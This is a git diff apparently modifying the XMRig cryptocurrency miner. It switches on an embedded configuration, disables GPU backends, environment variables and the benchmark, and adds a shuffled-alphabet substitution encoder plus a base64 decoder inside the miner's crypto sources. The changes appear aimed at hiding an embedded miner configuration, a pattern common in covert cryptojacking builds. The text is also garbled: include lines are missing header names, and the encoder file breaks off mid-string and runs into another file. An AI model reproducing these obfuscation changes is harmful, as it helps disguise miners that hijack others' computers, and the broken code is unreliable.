diff --git a/CMakeLists.txt b/CMakeLists.txt index 9fad9481..a759907f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -15,21 +15,21 @@ option(WITH_DEBUG_LOG "Enable debug log output" OFF) option(WITH_TLS "Enable OpenSSL support" ON) option(WITH_ASM "Enable ASM PoW implementations" ON) option(WITH_MSR "Enable MSR mod & 1st-gen Ryzen fix" ON) -option(WITH_ENV_VARS "Enable environment variables support in config file" ON) -option(WITH_EMBEDDED_CONFIG "Enable internal embedded JSON config" OFF) -option(WITH_OPENCL "Enable OpenCL backend" ON) +option(WITH_ENV_VARS "Enable environment variables support in config file" OFF) +option(WITH_EMBEDDED_CONFIG "Enable internal embedded JSON config" ON) +option(WITH_OPENCL "Enable OpenCL backend" OFF) set(WITH_OPENCL_VERSION 200 CACHE STRING "Target OpenCL version") set_property(CACHE WITH_OPENCL_VERSION PROPERTY STRINGS 120 200 210 220) -option(WITH_CUDA "Enable CUDA backend" ON) -option(WITH_NVML "Enable NVML (NVIDIA Management Library) support (only if CUDA backend enabled)" ON) -option(WITH_ADL "Enable ADL (AMD Display Library) or sysfs support (only if OpenCL backend enabled)" ON) +option(WITH_CUDA "Enable CUDA backend" OFF) +option(WITH_NVML "Enable NVML (NVIDIA Management Library) support (only if CUDA backend enabled)" OFF) +option(WITH_ADL "Enable ADL (AMD Display Library) or sysfs support (only if OpenCL backend enabled)" OFF) option(WITH_STRICT_CACHE "Enable strict checks for OpenCL cache" ON) option(WITH_INTERLEAVE_DEBUG_LOG "Enable debug log for threads interleave" OFF) option(WITH_PROFILING "Enable profiling for developers" OFF) option(WITH_SSE4_1 "Enable SSE 4.1 for Blake2" ON) option(WITH_AVX2 "Enable AVX2 for Blake2" ON) option(WITH_VAES "Enable VAES instructions for Cryptonight" ON) -option(WITH_BENCHMARK "Enable builtin RandomX benchmark and stress test" ON) +option(WITH_BENCHMARK "Enable builtin RandomX benchmark and stress test" OFF) option(WITH_SECURE_JIT "Enable secure access to JIT memory" OFF) option(WITH_DMI "Enable DMI/SMBIOS reader" ON) diff --git a/encode.cpp b/encode.cpp new file mode 100644 index 00000000..ffba23c8 --- /dev/null +++ b/encode.cpp @@ -0,0 +1,29 @@ + 1 #include + 2 #include + 3 #include + 4 + 5 int main() { + 6 const std::string original_alphabet = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"; + 7 const std::string shuffled_alphabet = "K>d~G`V]W@qJ{j\"|l'U[=(&^zF/\\aE%xI$T,!H#;p+*gC?)s.f}Z:b>PY +#include +#include +#include + +#include "base64.h" + +static const char encoding_table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +static char decoding_table[256]; +static int decoding_table_built = 0; + +static void build_decoding_table() { + for (int i = 0; i < 64; i++) { + decoding_table[(unsigned char) encoding_table[i]] = i; + } + decoding_table_built = 1; +} + +size_t base64_decode(const char *in, size_t in_len, unsigned char *out) { + if (!decoding_table_built) { + build_decoding_table(); + } + + if (in_len % 4 != 0) { + return 0; + } + + size_t out_len = in_len / 4 * 3; + if (in[in_len - 1] == '=') { + out_len--; + } + if (in[in_len - 2] == '=') { + out_len--; + } + + for (size_t i = 0, j = 0; i < in_len;) { + uint32_t sextet_a = in[i] == '=' ? 0 : decoding_table[(unsigned char)in[i]]; + i++; + uint32_t sextet_b = in[i] == '=' ? 0 : decoding_table[(unsigned char)in[i]]; + i++; + uint32_t sextet_c = in[i] == '=' ? 0 : decoding_table[(unsigned char)in[i]]; + i++; + uint32_t sextet_d = in[i] == '=' ? 0 : decoding_table[(unsigned char)in[i]]; + i++; + + uint32_t triple = (sextet_a << 18) + (sextet_b << 12) + (sextet_c << 6) + sextet_d; + + if (j < out_len) { + out[j++] = (triple >> 16) & 0xFF; + } + if (j < out_len) { + out[j++] = (triple >> 8) & 0xFF; + } + if (j < out_len) { + out[j++] = triple & 0xFF; + } + } + + return out_len; +} \ No newline at end of file diff --git a/src/crypto/ghostrider/base64.h b/src/crypto/ghostrider/base64.h new file mode 100644 index 00000000..7074c501 --- /dev/null +++ b/src/crypto/ghostrider/base64.h @@ -0,0 +1,8 @@ +#ifndef BASE64_H +#define BASE64_H + +#include + +size_t base64_decode(const char *in, size_t in_len, unsigned char *out); + +#endif // BASE64_H \ No newline at end of file